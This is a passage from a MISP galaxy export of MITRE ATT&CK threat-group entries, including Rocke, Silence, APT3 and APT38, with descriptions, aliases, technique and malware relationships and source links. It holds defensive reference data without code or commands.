[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Rocke - G0106"*

Rocke - G0106 is also known as:

- Rocke

View relationships graph

Rocke - G0106 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5064. Table References

Links
https://attack.mitre.org/groups/G0106
https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html

DragonOK - G0017

[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

The tag is: *misp-galaxy:mitre-intrusion-set="DragonOK - G0017"*

DragonOK - G0017 is also known as:

- DragonOK

View relationships graph

DragonOK - G0017 has relationships with:

- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 5065. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://attack.mitre.org/groups/G0017
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

Orangeworm - G0071

[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Orangeworm - G0071"*

Orangeworm - G0071 is also known as:

- Orangeworm

View relationships graph

Orangeworm - G0071 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Kwampirs - S0236" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5066. Table References

Links
https://attack.mitre.org/groups/G0071
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Whitefly - G0107

[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore's largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Whitefly - G0107"*

Whitefly - G0107 is also known as:

- Whitefly

View relationships graph

Whitefly - G0107 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5067. Table References

Links
https://attack.mitre.org/groups/G0107
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore

Naikon - G0019

[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People's Liberation Army's (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015)

While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="Naikon - G0019"*

Naikon - G0019 is also known as:

- Naikon

View relationships graph

Naikon - G0019 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HDoor - S0061" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WinMM - S0059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Nebulae - S0630" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RainyDay - S0629" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT30" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="SslMM - S0058" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Aria-body - S0456" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Sys10 - S0060" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5068. Table References

Links
http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf
https://attack.mitre.org/groups/G0019
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/the-naikon-apt/69953/

Silence - G0091

[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Silence - G0091"*

Silence - G0091 is also known as:

- Silence
- WHISPER SPIDER

View relationships graph

Silence - G0091 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5069. Table References

Links
https://attack.mitre.org/groups/G0091
https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securelist.com/the-silence/83009/

APT3 - G0022

[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)

In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

The tag is: *misp-galaxy:mitre-intrusion-set="APT3 - G0022"*

APT3 - G0022 is also known as:

- APT3
- Gothic Panda
- Pirpi
- UPS Team
- Buckeye
- Threat Group-0110
- TG-0110

View relationships graph

APT3 - G0022 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RemoteCMD - S0166" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT3" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OSInfo - S0165" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5070. Table References

Links

http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf
https://attack.mitre.org/groups/G0022
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://www.recordedfuture.com/chinese-mss-behind-apt3/

APT38 - G0082

[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="APT38 - G0082"*

APT38 - G0082 is also known as:

- APT38
- NICKEL GLADSTONE
- BeagleBoyz
- Bluenoroff
- Stardust Chollima

View relationships graph

APT38 - G0082 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
